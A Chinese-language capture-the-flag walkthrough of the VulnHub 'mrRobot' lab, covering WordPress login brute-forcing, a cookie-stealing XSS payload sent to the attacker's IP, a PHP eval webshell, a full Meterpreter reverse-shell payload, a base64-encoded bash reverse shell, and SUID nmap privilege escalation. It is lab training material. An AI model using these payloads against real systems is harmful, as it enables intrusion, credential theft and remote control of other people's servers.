vulnhub系列靶机-mrRobot
2026/8/22 2:37:11 网站建设 项目流程

端口目录

[22:36:32] 200 - 504KB - /intro

[22:36:37] 200 - 158B - /license

[22:36:37] 200 - 158B - /license.txt

[22:37:05] 200 - 64B - /readme

[22:37:06] 200 - 64B - /readme.html

[22:37:08] 200 - 41B - /robots.txt

[22:37:38] 200 - 21B - /wp-admin/admin-ajax.php

[22:37:39] 200 - 1KB - /wp-login.php

[22:37:39] 200 - 1KB - /wp-login/

[22:37:39] 200 - 1KB - /wp-login

重点

 /license.txt 、/robots.txt、/readme.html:wordpress 默认说明文件

 /wp-login.php、/wp-login/:WordPress 后台登录页面,这是突破口

 /wp-admin/、wp‑content、wp‑config.php:wp 核心目录文件

目录访问

/license

what you do just pull code from Rapid9 or some s@#% since when did you become a script kitty?

翻译:

你就只会复制 Rapid9(WPScan 所属公司)的代码吗?从什么时候起你变成只会跑工具的脚本小子了?

/robots.txt

fsocity.dic

fsocity.dic 是一个出自热门安全挑战 “Mr. Robot” CTF(夺旗赛) 的密码字典文件

生成一个精简的新字典文件。例如:

sort fsocity.dic | uniq > fsocity_uniq.dic

key-1-of-3.txt

073403c8a58a1f80d943455fb30724b9

这是第一个key

/WordPress

/wp-login.php

这个可用刚刚的账号密码破解

没破出来:

现在点击忘记密码:

爆破这个

发现一个奇怪的

说明用户名就是这个

elliot

现在继续用这个用户名来·暴力破解密码

找到密码:ER28-0652

elliot登录wordpress

elliot

ER28-0652

来就看到版本信息WordPress 7.0.4,直接查看该版本漏洞

msfconsole

#搜索4.3.1相关

search wordpress 4.3.1

msf 里面没有针对 WordPress 核心 4.3.1 的 EXP 利用模块,搜出来的只是某第三方插件的漏洞。

放弃这一想法

发现新的用户mich05654

暴力破解:

得到密码:Dylan_2791

登录后发现没有用

放弃这条路,现在去测试刚刚的XSS

回到管理员用户(elliot)使用XSS

点击查看文章后

有XSS

那就

只要管理员访问你的这篇恶意文章,浏览器就会执行你的 JS,拿到管理员 Cookie。

步骤 1:构造偷管理员 Cookie 的 Payload

把文章标题替换为下面 payload,把192.168.113.100改成 kali 的 IP:

<script>fetch('http://192.168.113.138/steal?c='+document.cookie)</script>

步骤 2:Kali 开启 HTTP 接收 cookie

mkdir /tmp/xss

cd /tmp/xss

python3 -m http.server 80

拿到的这组 cookie没有 wordpress_logged_in_ 登录凭证。

wordpress_test_cookie 只是 WP 用来测试 cookie 功能是否开启的测试 cookie,不是登录凭证。

其余都是前端浏览设置、统计类 cookie,拿到也无法实现后台登录。

放弃XSS

修改页面代码注入一句话木马

elliot本身就是管理员,XSS 在这里不再用来偷权限,XSS 只是一个执行 JS 的入口;拿到 shell 的核心是 WordPress 后台上传 / 写文件拿 Webshell。

http://192.168.113.144/wp-admin

自理有很多php文件

随便选一个注入一句话木马

@eval($_POST['cmd']); phpinfo();

成功触发

一剑上线:

http://192.168.113.144/wp-content/themes/twentyfifteen/404.php

cmd

提权

打开终端

进行信息收集:

id

whoami

uname -a

cat /etc/passwd

pwd

env

sudo -l

现在用户是daemon

要提权才是真正的成功

着重看有没有用户有/bin/bash,可以提权(DC-4后遗症)

查看靶机内的用户,发现只有robot在/home下有目录,不过查看/etc/passwd并没有指定bash

切换到robot下,发现有密码文件,具有查看权限,查看发现是md5加密

c3fcd3d76192e4007dfb496cca67e13b

这个是第二个key

这个是robot的密码:abcdefghijklmnopqrstuvwxyz

(daemon:/)$uname-a

Linuxlinux3.13.0-55-generic#94-UbuntuSMPThuJun1800:27:10UTC2015x86_64x86_64x86_64GNU/Linux

系统:Ubuntu Linux 3.13.0‑55‑generic

绝对有漏洞

msf查看Ubuntu Linux 3.13.0‑55‑generic版本漏洞

search Linux 3.13.0

内核 3.13.0‑55‑generic 完全命中该漏洞,msf 内置本地提权模块,不用上传脏牛源码,直接 meterpreter 会话内执行。

使用前提

必须拿到Meterpreter会话(普通 nc bash shell 不能跑这个 local 模块)。

如果你现在只有蚁剑 webshell:

  1. msf 执行exploit/multi/script/web_delivery生成 php payload
  2. 在蚁剑终端粘贴执行 payload,拿到 meterpreter 会话。

前提:kali MSF 已经开好 handler 监听,等待上线

use exploit/multi/handler

set PAYLOAD php/meterpreter/reverse_tcp

set LHOST 192.168.113.138

set LPORT 4440

run

1、kali 生成 payload 代码(新开终端,不要关监听)

msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.113.138 LPORT=4440 -f raw

Payload size: 1116 bytes

/*<?php /**/ error_reporting(0); $ip = '192.168.113.138'; $port = 4440; if (($f = 'stream_socket_client') && is_callable($f)) { $s = $f("tcp://{$ip}:{$port}"); $s_type = 'stream'; } if (!$s && ($f = 'fsockopen') && is_callable($f)) { $s = $f($ip, $port); $s_type = 'stream'; } if (!$s && ($f = 'socket_create') && is_callable($f)) { $s = $f(AF_INET, SOCK_STREAM, SOL_TCP); $res = @socket_connect($s, $ip, $port); if (!$res) { die(); } $s_type = 'socket'; } if (!$s_type) { die('no socket funcs'); } if (!$s) { die('no socket'); } switch ($s_type) { case 'stream': $len = fread($s, 4); break; case 'socket': $len = socket_read($s, 4); break; } if (!$len) { die(); } $a = unpack("Nlen", $len); $len = $a['len']; $b = ''; while (strlen($b) < $len) { switch ($s_type) { case 'stream': $b .= fread($s, $len-strlen($b)); break; case 'socket': $b .= socket_read($s, $len-strlen($b)); break; } } $GLOBALS['msgsock'] = $s; $GLOBALS['msgsock_type'] = $s_type; if (extension_loaded('suhosin') && ini_get('suhosin.executor.disable_eval')) { $suhosin_bypass=create_function('', $b); $suhosin_bypass(); } else { eval($b); } die();

完整全部复制,一行都不要丢。

2、切换蚁剑,打开【终端】标签页

注意:不是文件上传,就在蚁剑自带终端框里面直接粘贴运行。

蚁剑终端里面直接粘贴刚刚复制的全部 php 代码,直接回车执行。

失败

问了豆包

蚁剑终端是 Linux shell,不是 PHP 执行环境!

你直接粘贴 PHP 代码,shell 把 php 当成 bash 命令解析,直接报语法错误。

❌不能直接在蚁剑的命令行终端粘贴 PHP 源码。

数据库

先在kali上线:

nc -lnvp

cmd=system('echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjExMy4xMzgvMTExMSAwPiYx|base64 -d|bash');

首先查看wordpresss连接数据库的文件wp-config.php

find / -name "wp-config.php" 2>/dev/null

cat /opt/bitnami/apps/wordpress/htdocs/wp-config.php

用户名bn_wordpress,密码570fd42948,数据库名称bitnami_wordpress,端口是3306

数据库类型是mysql

使用find寻找具有SUID权限文件,发现sudo,不过测试,当前用户不许sudo

find / -perm -4000 -print 2>/dev/null

find / -perm -u=s -type f 2>/dev/null

找到了nmap可以进行提权

这里的nmap不能直接使用, 环境变量 的问题,需要使用绝对路径

尝试第一种方法,发现提权不成功,版本在第二种提权方式范围内,尝试第二种方式

/usr/local/bin/nmap --interactive

!sh

提权成功!

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询